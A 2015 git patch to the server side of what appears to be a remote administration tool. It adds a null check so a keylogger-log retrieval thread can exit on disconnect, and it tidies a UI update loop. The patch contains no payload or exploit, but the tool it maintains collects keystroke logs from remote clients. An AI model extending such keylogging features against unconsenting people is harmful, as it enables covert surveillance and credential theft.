From 53e2096deb75b4a11271b2d2f78a67ea2cc8969d Mon Sep 17 00:00:00 2001 From: d3agle Date: Thu, 23 Apr 2015 12:50:02 -0500 Subject: [PATCH] FrmMain instance null check Added FrmMain instance null check to safely exit a thread in the FrmKeylogger form in the case of client-server disconnection. The FrmKeylogger spawns a thread that waits for the enabled button to be set to true, after successfully receiving all the log files from the client. If the server were to somehow not process the button being enabled it would hang in the while loop leaving the entire process to be left in memory due to the thread being open. --- Server/Forms/FrmKeylogger.cs | 11 +++++++---- Server/Forms/FrmMain.cs | 1 + 2 files changed, 8 insertions(+), 4 deletions(-) diff --git a/Server/Forms/FrmKeylogger.cs b/Server/Forms/FrmKeylogger.cs index 60e75885..c5e3bf5e 100644 --- a/Server/Forms/FrmKeylogger.cs +++ b/Server/Forms/FrmKeylogger.cs @@ -79,6 +79,9 @@ private void btnGetLogs_Click(object sender, EventArgs e) { while (!btnGetLogs.Enabled) { + if (FrmMain.Instance == null) //Provide an escape from thread in the case of client-server disconnection, a possibly rare occurence + return; + Thread.Sleep(15); } @@ -89,13 +92,13 @@ private void btnGetLogs_Click(object sender, EventArgs e) if (iFiles.Length == 0) return; - foreach (FileInfo file in iFiles) + lstLogs.Invoke((MethodInvoker)delegate { - lstLogs.Invoke((MethodInvoker)delegate + foreach (FileInfo file in iFiles) { lstLogs.Items.Add(new ListViewItem().Text = file.Name); - }); - } + } + }); }).Start(); } diff --git a/Server/Forms/FrmMain.cs b/Server/Forms/FrmMain.cs index 92d69c50..6acb74c7 100644 --- a/Server/Forms/FrmMain.cs +++ b/Server/Forms/FrmMain.cs @@ -169,6 +169,7 @@ private void FrmMain_FormClosing(object sender, FormClosingEventArgs e) UPnP.RemovePort(ushort.Parse(XMLSettings.ListenPort.ToString())); nIcon.Visible = false; + FrmMain.Instance = null; } private void lstClients_SelectedIndexChanged(object sender, EventArgs e)